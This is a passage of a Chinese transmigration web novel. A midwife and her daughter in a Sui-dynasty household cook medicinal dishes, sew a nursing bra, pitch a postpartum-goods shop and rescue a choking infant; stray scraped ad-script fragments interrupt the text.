将豆腐切成约莫一寸的厚片,在其正中挖一个小洞。 肉糜中拌入生姜、葱花、鸡蛋液、盐、酱油等搅拌均匀,填入豆腐洞中。 再将豆腐入锅,肉糜面朝下,慢慢煎,肉香混着豆腐鲜一下散开,引得豆腐西施频频望过来。 “小娘子,我帮你尝尝咸淡?” 祝大娘被这香味,勾得抓耳挠腮,徒手捞起一块,径直往嘴里塞,嘴被烫起燎泡,都不愿吐了, “香,嘶——,真香!” “一会求了夫人,再做便是,先紧着夫人的!” 莫婤见状,忙劝道,再有人偷嘴,她这几块可不够。 煎好的豆腐,加入没过它的高汤,放上泡软的养生三宝,炖至汤汁浓稠后,方算完成。 炖上酿豆腐,她又让万大娘帮着,在大水缸里捞了条鲈鱼。 莫母还要做道清蒸鲈鱼,只是她这时正忙着熬“千金羊肉汤”,又称“当归生姜羊肉汤”。 此汤颇有来历,它出自东汉医圣张仲景之手,收录于《金匮要略》,羊肉配上当归、生姜,一同炖汤,能驱寒暖宫,补血益气①。 那边莫母汤刚炖上,这边她已将鲈鱼开膛破肚,还挑出了鱼线。 见状,莫母给鱼身开了花刀,还用上了珍贵的胡椒粉,配以盐、黄酒腌制了一刻钟。 腌好后,莫母把片薄的姜片、切段的大葱、两三片当归、四五颗大枣,都塞进刀口中,装盘,将鲈鱼连盘子一道放于笼屉上,让万娘子看着火候,便拎着莫婤去熬药。 这次的药方子并不难,一是熏洗的汤药,二是内服的催乳散。 莫母将原理、步骤教与莫婤后,立于一旁把关。 莫婤先做的熏洗汤,毕竟简单,又耗时。 按照方子,选了益母草、通草、茯苓等药材,依着方子上所述用量,一一投入砂锅内,加水慢炖至沸腾,再改文火熬半个时辰,其间需频繁搅动,防粘底焦黑。 待锅内汤色渐变浓郁,药香扑鼻时,熄火稍事冷却,过滤掉渣滓,只留清液。 此时便可盛出,供夫人坐浴或局部熏洗使用,借以舒筋活络、祛风除湿、消肿止痛,迅速缓解□□胀痛不适感。 熬药间隙,莫母还让赵妈妈找来一柄精确的秤杆,教莫婤仔细称了,品质上乘的漏芦、通草各一钱,贝母二钱,白芷一钱②。 一同倒入研钵内,细致地碾磨成细腻粉末。 接着,又让祝大娘挑了一只新鲜的猪前蹄,斩块后与适量黄酒和清水共置铜锅内大火烧开,撇净浮沫,转文火焖煮,至骨肉酥烂,滤取澄清肉汤备用。 待高夫人服用催乳散时,需要用此汤送服。 小厨房内,炉膛之内,炭火噼啪作响,火光跳跃,无人再闲聊,都忙着手中的活计。 约莫正午,所有药膳都准备完毕——嵌宝酿豆腐、清蒸鲈鱼、千金羊肉汤。 莫母又配了几道爽口小菜——清炒水芹虾仁、凉拌芫荽萝卜丝、炝炒芜菁(大头菜)。 赤橙黄绿的菜肴,挤了一灶头,待杏雏传午膳时,一同送进了正屋。 夫人午膳只需杏雏、袖莲伺候,小厨房丫鬟婆子的午食,大厨房一早便送来了。只是经过刚刚那阵子香味刺激,瞧着盒函内寡淡的菜、汤,众人都没了胃口。 莫氏母女仍看着熬药的炉子,其余人三三两两聚在一处,或回味菜香,或欲筹谋偷师,或垮脸不知想啥…… 其间,杏雏又来加了盆饭,盛了碗羊肉汤。 “剩的料,夫人说犒劳大家,赏了你们。”袖莲伺候完,来说了这个好消息。 后头跟着的提木桶的小丫头,里面全是空盘,看得莫婤松了口气。 “莫小娘子,添道酿豆腐罢!” 见夫人赐了料,素日惯要将东西带回房的铁公鸡,祝大娘忙说道。 “对,我也想尝尝!” “闻着就香,定好吃!” “小娘子,再做一次吧!” 众人纷纷附和,莫婤没法,又做了盆酿豆腐,就着粗淡的份例,众人围坐着,吃得喷香。 吃完,又将剩料分了分,莫氏母女分到一条羊肋,半篓虾,一把水芹,两捧芜菁。 平日里,没人青睐的肉菜——豆腐,今日竟瞬间就被瓜分得精光。 待她们吃完午膳,夫人也该用药了。 让粗使婆子举了夫人泡澡的木桶,倒入熬好的汤药,兑了一大桶,抬进了里间。 里间,夫人正扶胀鼓鼓的肚子,打圈。 见她们进来,面色微囧: “太香了,多用了些。” “夫人喜欢药膳,日后我们常做罢。” 莫婤打蛇随棍上,像趁机谋一份稳定的职位,还有赏钱拿。几道药膳罢了,有厨房众人帮忙,不费事,油水还多。 “劳你们费心,也不用常做,待我馋时再做。” 夫人微微有些羞赧,轻声道。 褪下衣物,夫人泡在浴桶中,再配合莫婤的按摩,胸部的疼痛去了大半。 起身后,又用猪蹄酒,送服了催乳散,终是睡了个安稳的午觉。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>趁夫人安睡时,莫母找了赵妈妈,想补齐她们房中差的东西。 见了夫人对莫氏母女的看重,赵妈妈自是不敢拿乔,径直带她们进了仆人的库房,让她们随意挑。 库房外间,靠墙架着的数张罗汉床,床上堆着草席、粗布褥子;房中央,叠着众多八仙桌。 另一面墙上,木架子,森然成行,架上有无数篓烛台、陶碗陶盘、竹筷、木桶木盆;还有那堆满整个墙角的粗布木墩…… 赵妈妈带她们往里走,穿过一道小门,里头的东西明显精致了许多,莫婤挑了楠木罗汉床、红樟木的顶立柜、黄花梨的独座小榻,并一个沉香木的双陆棋盘。 莫母又问过赵妈妈,何处能觅得柳枝,做牙具;还请她找了些穿帘子可用的,蜜蜡珠子,约好下值后,同家具一道送去。 一切安排妥当后,又回了夫人院中。 夫人刚醒,莫母又用午时,做完熏洗汤药剩下的药材,碾碎磨成粉后,装入药灸筒内,为夫人熏玉房。 因玉房垂着,不便于熏药,还会加重疼痛,高夫人只能双手将其托起。 见她这般姿态,莫婤一拍脑门,心中暗骂道: “我这猪脑子,怎么没想起胸托啊!” 隋朝,女性内衣,多为抱腹或抹胸。 抱腹是一种从胸部覆盖到腹部的内衣,类似于长款肚兜;抹胸则跟现代胸罩类似,只是没有钢圈等托起结构。 “夫人这般举着太累,我欲给您做个胸托。” 莫婤对捧着胸,有些无措的夫人说道, “不过可能需要更好的绸缎,宽一尺,长三尺即可。” “走时让袖莲带你去挑,直接拿一匹,做剩下的皆赏你了。” 或是见有法子改变自己的窘态,夫人爽快应下,又许诺了莫婤好处。 不过莫婤现今心态已调整过来,也不再惶恐,不就是老板给我的“创意费+加班费”安心收下便是。 高夫人这儿的布,一匹长三丈、宽二尺④,剩下的给阿娘做条裙也足以,她心中暗自盘算着,乐开了花。 许是对这胸托很是急用,还未到下值,高夫人便想赶莫家母女回下人房。 见高夫人这般急迫,莫母恐没机会说,也不绕圈子,直接开口问道: “夫人,昨晚有一对母女来我房中,逼我收徒,也不知是何来历。” 闻言,高夫人脸上带出些厌恶: “那婆子是我陪房陶氏,她男人是外院管事。陶氏愈老愈不中用了,管着库房,要丢东西;管着下人,要干架;连管着院子,都要养死花草。” “念着旧情,我只当养个闲人,没曾想她连自己闺女都能带拐。” 高夫人说罢,怒气淡了下来,面上是恨铁不成钢。 “倒不如放她去庄子上,您瞧着不心烦,她也松快些,还全了你们的主仆之情。若放他在高府,现今只是带坏她闺女,来日便是带坏其他下人了,坏了家风,恐影响家中公子们。” 莫母扯着大旗,给陶氏上眼药。 高夫人自是明白,她有夸大其词之嫌,然作为管家夫人,她须得防患于未然。 况且,她早便厌烦了陶氏,总给她惹麻烦,此次便可以此做筏子,除去这个祸害。 让莫氏母女回去后,高夫人在心中默默筹划。 12. 合伙开店 冬日间,申时方过,金乌就缓缓往下垂。 跨过正屋门槛的莫婤,见杏雏抱着本账目进了院,忙拉了她去挑绸缎。 高夫人的库房有二,大的称“宝锦阁”存着陪嫁,小的唤“琳琅库”堆着日常所需。 进了琳琅库,各种莫婤没见过的东西,将她晃花了眼。她忙集中心神,挑了匹烟紫云锦。 这云锦,摸着柔滑细腻,在黄昏下仍有光泽,正中还印着双鱼交尾戏莲图。 雌雄二鱼,在金莲上,交尾缠绵。 莫婤欲以此图案为中轴,做胸托。 谢过杏雏后,抱着布匹,拎着午膳后分得的剩菜,莫氏母女回了下人院。 坐在院中嚼舌根的丫鬟婆子们,见她们回了,都望了过来。 “呦,又捞什么好东西回来了?”一位莫家母女甚至喊不出名字的妇人,红眼病犯了,笑讽道,“会拍主子马屁,就是好!” “是好啊,你咋不去拍,是不想吗?哦,原是拍不着!” 莫母也不是怂货,都被人骑到脸上酸了,也没客气地骂回去, “拍不着就是闲,挑大粪的来了,你都要跑去尝尝咸淡。” “你这小娼妇,想干仗?我们上!” 这妇人说不过,撸起袖子就要上来找莫母干架。 莫母将手中东西塞进莫婤怀中,一把薅过院门旁的扫帚道:“老娘接生一把力气,还怕你?” 见莫母不服软,原只想吓唬她的妇人,急了眼,果真冲了上来。只是奔到一半,回头,见身后竟无一人跟上帮忙,全都在看戏。 “哼,我看你能嚣张到几时。” 这妇人也不是真的傻,单枪匹马互殴有什么意思,徒留笑柄,要群殴才能稳胜。于是,她一个急刹,撂下狠话,回了房。 莫母也不理这些挑事的人,拉着莫婤进了屋,藏起了云锦,再将水芹、芜菁放在架子上。 取了只木桶,倒上些温水,连篓一同放进去,养虾。 又将羊肋丢入墙角的大瓦缸中,灌上深井水,使其刚刚没过它。待明日结了冰,这就是天然的冰柜啊! 念及那日杏雏的提醒,她们循着记忆中的路,摸到大厨房提晚膳。 正巧遇上,同是来提晚膳的杏雏,有她罩着,也没人敢为难,轻松挑到一盘韭黄炒肉丝、一笼梅菜扣肉和一斗碗冬瓜海带汤,主食仍是一盆白米饭。 晚膳还没来得及用,赵妈妈便带着几个虎背熊腰的婆子,送来了家具。 丈量好空间后,用莫婤挑的顶立柜将屋子分成一大一小两间。 里侧是莫婤用的小间,放下罗汉床后,床侧还能容下双陆棋盘、独座小榻。 双陆棋盘也是莫婤从未见过的新玩意,呈长方形,分为两部分,中间有一道横隔,将其划分为左右两个相等的区域。每个区域又被垂直线条分割成六段,形成十二个矩形格子①。 莫婤还不会玩,但先搬回屋,隋朝来都来了,这些没见过的玩意,总要学学的。 外侧又用一道素色屏风隔开,屏风里是莫母的罗汉床、梳妆台,屏风外是八仙桌、斗柜、墙角的大缸火炉子等。 收拾妥当,已至戌时末,莫婤只来得及用莫母的炭笔,在云锦后打了个草图,就困得不行,只好歇了。 翌日,莫婤为夫人按摩通乳时,说服其量了胸围。 拿到最新数据的她,手眼不停,三日方完成了胸托,类似于现代有托力的胸罩。 考虑到夫人的接受度,她还是做的一片式。 胸前是那幅双鱼交尾戏莲图,上下用连理枝花纹封边,背后边缘处还连上了细带,可通过交叉系紧,来调整松紧。 夫人现今正值涨奶期,需用每日玉房的丰裕度,来调整松紧,确保胸托既贴合,又不会对双峰造成压迫。 莫婤还在前胸及胸下的位置,加了软垫,再缝上两条肩带,它们合力将夫人下垂的玉房托起。 “夫人,这我烫洗过了,还是让我同莲姐姐,服侍你穿吧。”她拉过袖莲,对夫人轻声提议道。 高夫人屏退旁人,穿上胸托,还赤身在屋内走了几步。 顿觉这几日沉甸甸的双峰,不再因下垂拽得她生疼,也不再左右晃荡,上下颠簸。 “穿着好生舒坦,乖囡,帮我再做几件罢,一件一匹布直接找杏雏拿!”夫人试过后,很是惊喜,声调都高了些。 “好阿姆,您饶了我吧,你看我这手!”见高夫人这般亲热地唤道,莫婤亦撒娇求饶,还适时地伸出双手。 因着指头小又白,上面泛红的针眼尤其明显。 她才穿过来月余,哪学得会女红啊。 在现代,她的针线活,只勉强能补补被子上的破洞。谁知穿来古代,竟是要靠着手工活赚钱。 幸而收腹带、胸托等需要缝线处少,又有莫母帮忙美工,才做得这般像样,但也受不住再多做几件。 “呦,怎的这般严重。”高夫人定睛看去,吓了一跳。 毕竟,她身边的丫鬟婆子女红就算再差,也不会将手指戳成这幅模样。 藏下双手,莫婤低声道:“夫人放心,擦了药了,只最近做不了针线活了。” 卖惨是关键一环,毕竟,要适时让领导察觉你的不容易,才能让她更珍惜。若啥都办的轻松稳妥,渐渐的她也会当作理所当然。 见边鼓敲得差不多了,她又提出解决办法:“不若夫人派人将这做法学了去,想做多少都成。” “可这是你想出的法子。”高夫人方才便想到了,但做不出抢一个小女娃的法子,一时有些左右为难。 现今,见她主动说出来,便厚着脸皮道:“要不就当你卖我的?一百两银钱?” 听罢,莫婤暗自盘算:古代知识产权还挺值钱,都能买王狗一条命了。 但思绪再转,她想到了更来钱的法子:“夫人能用此物再加上收腹带,开个产后用物的铺子吗?若挣了钱,每年给我几分利。” 合伙开店铺,她凭知识入股,有高老爷做靠山,再加上高夫人和高夫人在贵妇中的人脉,这铺子定能赚钱,她到时还愁没资金开接生馆? 思及此,她愈觉此法行的通,脑子飞速运转,开始说服高夫人: “我之后定能有更多,有益于产后恢复的东西,都能放到铺子里卖。生孩子的妇人都用得上,不愁市场,定能回本。” 她的话让高夫人心头一惊,这么小的人,便知开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 铺子分利,还懂市场分析? 见高夫人还不做回应,莫婤继续加码道: “这些东西能帮助产妇们少受苦,她们都会念着您的好,做大做强了还能提升您在贵妇圈的名声!” 大饼她也会画,这次能不能拉到高夫人的投资,就看她这饼画得够不够香了。 按下心惊,高夫人对她的提议本就感兴趣,又喜欢吃她的饼,听得心动不已。 他们家虽是北齐皇族后裔,还同当今圣上是姻亲,但近些年仍显颓态,若能在勋贵,甚至是关陇勋贵中重新打出名声,对夫君的仕途亦有帮助。 况且,这些能帮助产后恢复的用物,在那些士族,如山东士族、江南士族等,想来亦能得到追捧。 毕竟,他们这些士族,可是将家族延续,看得比王朝昌盛更重。 不过,现今想这些还远了些,但此事若好生筹谋,使其能朝着她的期望发展,将来必能助力高府。 高夫人掩下眼中的野心道:“这事不小,我需考虑一段时日,到时再唤你前来商议。” 虽现今按下不表,但至此,莫婤彻底在夫人心中挂了号。 说罢,高夫人又将屋外的莫母唤了进来道:“那日你提及的陶妈妈之事,我已同夫君商量过,今日将她放到庄子上,这几日苦了你了。” 莫母听罢,长舒了一口气,这几日,她可是不堪其扰啊。 只要她在下人房,陶氏母女便时不时来拍门,还是拍完就跑的那种。而她一出门,她们又在下人院门口守她,那女娃更是见着她就跪下叫师傅。 她不理继续向前,她们便步步紧跟,纠缠不休。 莫母也试图赶过,院门后的扫把,小径旁的木棍,水池里的死水,甚至花坛里的石头,都成为过她的武器。 但陶氏母女的脸皮竟比那护城墙还厚,当时打跑了,一会接着来堵人。 莫母算是知道,晚娘是怎么被逼的不敢出门的了。 因着,莫婤要做胸托,高夫人便让她每日不必请安,专心做便是。 而莫母也只需点卯,诊脉,无事便能回下人房歇息,但现今她被这母女俩缠的,在高夫人这里一待就是整日。 也成功让高夫人日日躺在里屋,就能吃到新鲜的瓜。 这几日,高夫人睁眼的日常节目就是——今日莫母又是用什么法子,打跑了陶氏母女。 她是有戏看了,莫母日日提心吊胆,毕竟莫婤还关在房中苦心专研,一心要做好了胸托再来夫人院中,一鸣惊人。 怕陶氏母女又缠上女儿,莫母只好请武娘吴娘子,时不时到自家门口转转,顺带给莫婤送午膳。 幸而自夫人不能出门后,吴娘子便闲得发慌,爽快地应下了莫母的托付。 如今,终是要解脱了啊。 看莫母一脸超脱的神情,高夫人忍不住笑道:“连顺娘这般爽利人都成这样了,我也懂晚娘为何到现今都不愿出门了。” “就是泼辣,夫人还说得这般给我脸面。”莫母缓过神来,朗声回道,“日日如影随形,确是让我胆寒啊!” 安抚过莫母后,高夫人命人唤来吴娘子,让秋塘带着她,再领几个威风凛凛的婆子,去了下人院陶家。 13.羊肉锅子 见莫婤急着跟去看戏,莫母便一人去了大厨房提晚食。 这几日,日日去,她已轻车熟路了,跟大厨房丫鬟婆子们也熟络起来。 刚进大厨房,一用帕子包着头发的厨娘便将莫母拉到角落,低语道:“今儿又宰了头小羊羔,正新鲜着。” 她一面说,一面用目光示意莫母去看。 只见灶台上,排满了羊腿肉、羊肋排、羊四件、羊下货…… 莫母念及屋中还有一个冰镇的羊肋,就和这婆子轻声商量:“杨嫂子,能不能将我今晚的份例,都换成生食?” 杨嫂子还怕她仗着是夫人身边的红人,狮子大开口。一听只是这般小事,忙应下了。 按份例给她换了一块羊腱子肉,并几根山药。 见没人注意,又蒙上布,塞给她一斗碗羊下货①。 这边莫母喜滋滋的提着新鲜食材,盘算着晚膳怎么吃;那边莫婤已经躲在秋塘身后,惊呼出了声。 秋塘一行人到陶家时,门窗紧闭,屋内所有帘子都拉得严丝合缝。 想来应在当值,还未归,她们一行人便在屋外等着,可不久就听见屋内传来欢声雷动。 再上前敲门,却还是久无人响应。 吴娘子不耐烦了,一脚踹开了门,门内烟雾袅袅,乌烟瘴气。 昏黄的油灯下,人影幢幢,空气中烟尘、汗臭、脚臭随着门风熏得她们睁不开眼。 原本应在当值的陶管事,躲懒偷溜回来,混了一帮子仆役正赌六博②。 陶娘子也坐在胡床上,跟人打叶子戏。 陶小娘子,在一群人中,窜来窜去,凑热闹。 这荒谬的场景,看得一向稳重淡然的秋塘,都动了几分气。 她也没同陶氏一家人多掰扯,只告知了夫人的意思,让吴娘子和婆子们押着她们收拾东西,立即搬到庄子上去。 听罢,屋中其余人被吓得不轻,作鸟兽散,纷纷挤出门跑了。 只留下了桌椅翻倒、茶碗粉碎、铜板洒落、一片狼藉的陶家。 最先回过神来的陶管事,一把抽出门后的马鞭,竟朝陶氏母女打了过去。 “贱人,让你挑事,让你闹!” “害人精,跟你娘一样,怎么不去死啊!” “被你们害惨了,我打死你们!” 陶小娘子闪身一滚,躲进了罗汉床底,徒留陶娘子一人倒在原地,动也不动地挨打。 一时间,整个下人院都回荡着陶娘子凄厉的哀嚎声。 院中刚刚下值的众人,都围拢过来,站满了陶家门口,却没人上前阻拦。 眼见着,陶娘子身上鼓出了一道道血痕,莫婤拉了拉秋塘的衣袖。 秋塘附身下来,侧耳听她道:“秋姐姐,怎么没人拉架啊。” 秋塘似是被她亲近的称呼怔住,一时没回答。 一旁的胖大娘抢着回答:“男人教训自己媳妇,不是天经地义。” “不是!她是人,不是物件,岂容肆意凌辱?”莫婤一脸严肃地瞪着她,带出了些脾气,“而且这样子会出人命的!” “小娘子有血性,对我胃口。”胖大娘并没因莫婤驳了她面子,而恼怒,反倒赞同道。 赞后,还自来熟地介绍道:“你唤我庞大娘,我住你家楼上。” “先救人吧!”见陶管事越打越凶,莫婤咬着唇道。 “出不了事,你等着看好戏吧!”庞大娘说完,也不做解释,只目不转睛地盯着屋内。 回过神来的秋塘,亦对她摇了摇头,直起了身。 她不想看单方面的殴打,低下头,恨恨地想:今儿这个瓜,是个烂瓜。 “来了,来了,快看。”见莫婤始终低着头,庞大娘一掌将她头抬了起来。 看到屋中的战况,莫婤惊掉了下巴。 只见陶娘子正骑在陶管事身上揍他,一拳一喷鼻血,几下就将陶管事揍成了猪头,还不歇手,一面锤他,一面骂道: “你个窝囊废,还敢打老娘?” “吃软饭的,软蛋,就该窝着?” “床上都硬不起来,还不如阉人!” 短短几句话,却是信息量满满。 吃劲爆瓜抓不住重点的莫婤,听得抓耳挠腮,还好,有一旁的陶小娘子帮她总结。 陶小娘子此时亦没闲着,她从床底爬出来后,正抓着陶父的手,一面狠狠地咬,一面帮她娘重复着关键词: “窝囊废!软蛋!硬不起来!阉人!” 见莫婤听这些污言秽语太过专注,留下吴娘子处理后续,秋塘一把将莫婤抱起,退了出去,还同她解释了为何不拉架。 原来这陶娘子也不知是何癖好,偏偏喜欢被打得受不了才反击。 而每次看不过眼帮她的人,事后还反倒要被她骂得狗血淋头。久而久之大家便懂了,也不再出手帮忙,只出人看戏。 秋塘不知原由,莫婤却在心里直呼:好家伙,古代版受虐狂啊! 心中惊叹,莫婤脸上也带出些震撼,鼓了鼓愈发圆润的小脸。 秋塘被她的包子脸可爱到,同她贴了贴脸。 啊,被矜持的美女姐姐贴贴了! 莫婤一脸被惊喜砸中,反应过来后,立马用鼻尖使劲蹭了蹭秋塘,以表回应。 成功地又看到秋塘,羞红了的脸。 “调戏”完秋塘,同她道别后,莫婤回了屋中。 屋内,莫母已点燃了火炉子,准备炖羊肉锅子。 从瓦缸中捞起羊肋,加了些盐、醋,用温水快速解冻后,剁成小块用黄酒、花椒、柑橘皮等香料,去膻增香。 腌好的羊肋,放入开水焯烫,去除浮沫和杂质。 再将其倒入铜锅中,加水,放姜片和葱段,开始熬羊肉锅子。 见莫婤吃瓜回来了,便拉着她一同洗羊下货。 羊下货难洗,若没洗干净,臭得慌,也不好吃。 莫母用温水粗洗,莫婤坐在绣墩上将羊下货表面的白色油脂都搓掉。洒上粗盐和醋,莫母还奢侈的用了面粉,反复揉搓。 见洗得差不多了,又让莫婤架了个火盆,将铜锅吊在火盆上继续炖羊肉锅子。 空出的火炉子,将羊下货焯水。 羊下货切了一盆,羊腱子肉片了两盘,还洗了娄芜菁(大头菜),切了盘水芹。 见羊肋快要熟了,莫母又刨了山药,切成段,下锅一道炖。 而一旁的莫婤,用茱萸、芫荽、小葱,混 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着香油、酱油做了两碗蘸料。 诸事具备后,母女二人围坐着羊肉锅子,开始用晚膳。 先盛一碗乳白的羊肉汤,绵密的山药,软糯地融在肉汤中,鲜掉了莫婤的舌头。 薄羊肉在筷尖轻轻晃动,涮好后,蘸上调料,肉的鲜嫩混着蘸料的刺激,一同在口中爆开,满口弥香。 羊下货更是鲜美,羊肝口感绵密、羊肺入口即化,羊肚弹牙爽脆、羊肠醇厚肥美…… 最后一点汤,都被她们煮了芜菁、水芹,舔了个干净。 收拾完残局,母女二人摊在罗汉床上,动弹不得。 “莫小娘子!” 莫氏母女正倒在床上,困饭晕,昏昏欲睡之际,突然响起了敲门声。 开门一看,竟是下午同她一起凑热闹的庞大娘。 庞大娘手上还端着簸箕,里面是缝了一半的履心,就是鞋垫。 同莫母互相认识后,她一屁股做到绣墩上,摆开架势,似要同莫氏母女大聊特聊。 莫母也是社牛,见此干脆拿过自己刚开始做的耳罩。隋朝是有耳罩的,莫母见莫婤近来耳朵总是通红,怕她长冻疮,便拆了旧绒颈围给她做耳罩。 二人一面手眼不停,一面开始唠嗑。 庞大娘也是管事婆子,还是总管后院仆人丫鬟的大总管。 不过她这大总管多是挂个虚名,各院主子对身边人,都看得紧。 她也不讨嫌,每次谁院中要丫鬟,她就将同手艺的一道送去,任她们自己挑;丫鬟若是犯了事,她再领回来,按主子的意思罚便是。 听到这,莫婤好奇地问道:“若主子没说要怎么罚呢?” 庞大娘给了她一个意味深长的眼神,继续说道:“若主子没指定,错又不大,一般只是赶出去罢。若犯了大错——” 说道这,庞大娘顿了一下,咽了口茶,见吊足了莫婤胃口,才缓缓道:“也不过是赏几板子,打个半死不活,扔出去罢了。” 见庞大娘大喘气,莫婤深觉还有更劲爆的瓜,遂不死心地问:“就没有什么特殊处置?” “嗤——”庞大娘点了点莫婤的脑袋,口吐狂言道:“不守妇道就沉塘,偷了东西便砍手,乱说话就绞了舌头……” “嘶——”不等庞大娘说完,莫婤就倒吸一口凉气,古代刻板印象再次+1。 “自然都是不可能的。”莫母见莫婤又信了,忍不住点醒她。 “我们正经人家,绝不会这般做。”庞大娘补齐了后边的话,继续说道:“如若这般,陶小娘子就不能全着身子,去庄子上了。” “她偷东西被发现了?”莫婤急吼吼地问,她一定要吃到,她走后剩下的瓜,“吴姐姐早说过了。” “不只,她娘守库房时丢的东西,也是她偷的。今日赌钱的人,也被她摸了个干净!”庞大娘补充道,“我早说她不是个好东西。” “此话怎讲?” 一个不过六七岁女童,庞大娘是怎么看出来的。 “哼,我见过多少丫鬟婆子了,我的眼睛就是尺!”庞大娘抬了抬头,自豪道,“小小年纪,瞧着还柔柔弱弱的,平日说话总把人的想法往坏处引。” 莫婤一下就悟了,难道是圣体白莲花? 14.蛋花疙瘩汤 “倘若是庞大娘,你多想了?”莫婤不愿轻信,欲辨其真伪。 “不信?我演一段,尔等自可体味。”说罢,庞大娘正襟危坐,仿其声道,“我毋需打水,我师父晨昏都用不上。” “庞大娘,这是口技?”莫婤未曾细品言中深意,已被庞大娘与陶小娘相似的音色所震。 “什么口技?家父是俳优,跟他学了些上不得台面的玩意罢了。”庞大娘毫不在意地说,“你若感兴趣,也教你两招。” 在隋朝及更早,口技者并没有专门的称呼,都是包括在俳优中,而俳优还有其他乐舞谐戏为业的民间艺人①。 莫母见话锋微偏,轻舒皓腕,悄然导回正题:“这陶小娘子说的师父,不会是吴娘子罢?” 闻言,刚从神奇口技中挣脱出来的莫婤,油然而生吃到“熟人瓜”的尴尬感。 庞大娘冲她们挤眉弄眼,一派戏谑之态,暗寓莫母之言未错。 随即,又模仿道:“师父常言,此一身本事,若不交于我,恐后继无人!” 此间种种暗示,让莫氏母女瞬息明了,吴娘子谣言缠身,竟多半是这龆龀之龄②的女童暗示的! 真正的古代女童,早熟得,成功压下了莫婤这个假小孩翘起的尾巴。 庞大娘见她沉默,恐惊了她,遂转移话题安抚道:“不是对俳优有兴致,我教你两招?” 于是,莫婤先跟着庞大娘,学了些简单的动物叫声,如鸟鸣、鸦哑、蛙叫;又进阶到水滴声,风声,甚至敲门声…… 见她学得这般起劲,庞大娘疑惑道:“观你已至上学的年岁,可延请老师?” 前些年,莫婤尚小,且有兄长开蒙识字,莫母未曾思虑过此事。 然,今遂家中屡逢变故,此番才安定下来,莫母一时亦未想到这茬。 现今,听庞大娘提及此事,方恍觉女儿已至读书之龄,断不能再整日同她东奔西跑、上蹿下跳。 莫婤听罢,亦是懵了:原来,我还在上学的年纪啊?! “你可别学那些个见识短浅的,就算是女娃也定要读书的。” 庞大娘见莫母久不出声,立即开启劝学篇。 莫母闻言,连连颔首:“定是要读的。” 她就是年幼时没能上学,只识得些字,略微翻得懂医书,史料典籍是一窍不通。 在延庆坊时,被孙娘子嘲讽都听不出,她可不愿女儿重蹈覆辙。 但又念及未久居此地,人生地不熟,不知哪家夫子好,一时有些犯难。 “嘿,此事何难之有?向夫人一言便好,夫人素喜女学诗书。” 庞大娘听罢,忙给莫母出主意, “原本我也可为你荐举夫子,然夫人处更有高贤,且观夫人甚爱你家小女,与她商议最为上策!” 莫母听罢亦觉有道理,将此事记下,欲明日说予高夫人。 莫婤在心中哀嚎:穿回古代,又要重新读书。 但她对古代诸项适宜却是不懂,也该学,便没耍脾气。 * 长安城,夜半寒凝,梨花纷飞,直至卯时方歇。 天还未亮,下人院门口,又排起了领饭的长队。 轻推轩窗,仅留一线罅隙,瞧着屋檐边往下垂的冰锥,莫婤对出门顿生怯意。 见状,莫母也不去领早食了,叫上她做面疙瘩汤。 舀一勺面粉,让莫婤举着水瓢,一点点往面粉里滴水。而莫母用筷子,不停地搅拌面粉,直至搅拌成均匀的面疙瘩。 点上火炉子,烧了油,爆香葱花,倒入打散的鸡蛋液。蛋液煎至金黄后,朵朵金梅在锅中散开,还有点点葱绿点缀。 往锅中加水,大火烧开后,下入面疙瘩搅匀。 待面疙瘩熟后,撒上芫荽,一锅热气腾腾的面疙瘩汤就成了。 用勺轻搅,泛黄的面疙瘩,在汤中上下浮动。 一勺下去,先尝到的是汤汁,混着鲜香的鸡蛋花和葱花,从胃暖到了全身。 紧接着,面团的软糯弹劲,让正是在掉牙期的莫婤,吃得舒爽不已。 一锅疙瘩汤,成功将她哄出了门。 裹上厚袍子,关紧门窗,母女俩哆哆嗦嗦往夫人院子赶。 刚行至夫人院门处,耳畔蓦然闯入一阵阵急促而错愕的呼喊声,宛若晴空霹雳。 莫母知定是出了大事,遂紧紧攥住莫婤的手腕,二人步伐匆匆,径直朝那喧嚣中心奔去。 此间偏房,是夫人临产时的那间产房,后改成了小公子的月房。 绕过曲折回廊,只见门前簇拥成群的丫鬟婆子,宛如密林,将里间情况挡得严严实实。 她们只能扒开人群,奋力往里挤。 被推开的人,见是莫氏母女忙让开条道,终是得见事发中心。 映入眼帘的,先是跪了一地的奶娘。 然是跪倒在胡床旁,抱着稚子哽咽不止的高夫人。 高夫人一面哭得说不全话,一面奋力吼道:“找顺娘,快去找,谁去找她——” 话音断断续续,听不太真切,莫母却已然冲上前去。 待莫母抱出小公子,莫婤终是看清了此时的情形。 襁褓中的小公子,嘴角还挂着乳汁,面色却已呈紫绀,渐渐紫到有些发黑。 见此,莫婤也顾不上藏拙,正欲上前启动婴儿海姆立克急救法,便见莫母已做出了反应。 莫母先是将婴儿脸朝下,置于膝盖上,头低于躯干。再将手五指并拢,掌心虚握成杯状,稳准狠地叩击着婴儿背部。 每次都精准无比,恰似春雷乍响,震颤着,终是将呛咳的奶都拍了出来。 小公子面色也逐渐恢复红润。 在此过程中,整个屋内鸦雀无声,唯恐惊到莫母的救治。 连高夫人都憋住哭泣,忍住恐惧,没有发出一丝声响。 见终是救过来了,劫后余生的庆幸,同方才痛彻心扉的回忆,一道涌了上来,扑得高夫人濒临崩溃,喘不上气。 一瞬,整个人软倒下去,被身后的忆梅垫住。 莫婤忙走过去,紧紧握住高夫人的手,给她力量的同时,还用力掐住了她的虎口,再缓声引导: “阿姆,没事了,救过来了。放松,呼气——吸气——呼气——” 恍惚间,一道暖流自心尖蔓延,驱散了笼罩心头的阴霾。缓过来的高夫人,一把抱住身侧的莫婤,恐惧、悲痛、庆幸都在放声大哭中,消散了…… 见夫人终于哭了出来,莫婤方松了口气。 现正值夫人产后恢复的关键阶段,若未能妥善处理此等惊心动魄之事,让心魔有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机可乘,恐会导致产后抑郁。 一旦病魔缠身,昔日温婉如水、明艳照人的丽质,或将化作黯淡无光、憔悴消瘦之影,甚者,精神错乱、行为失常,危及自身乃至周遭之人。 此情此景,诚使人胆战心惊,不敢细思量。 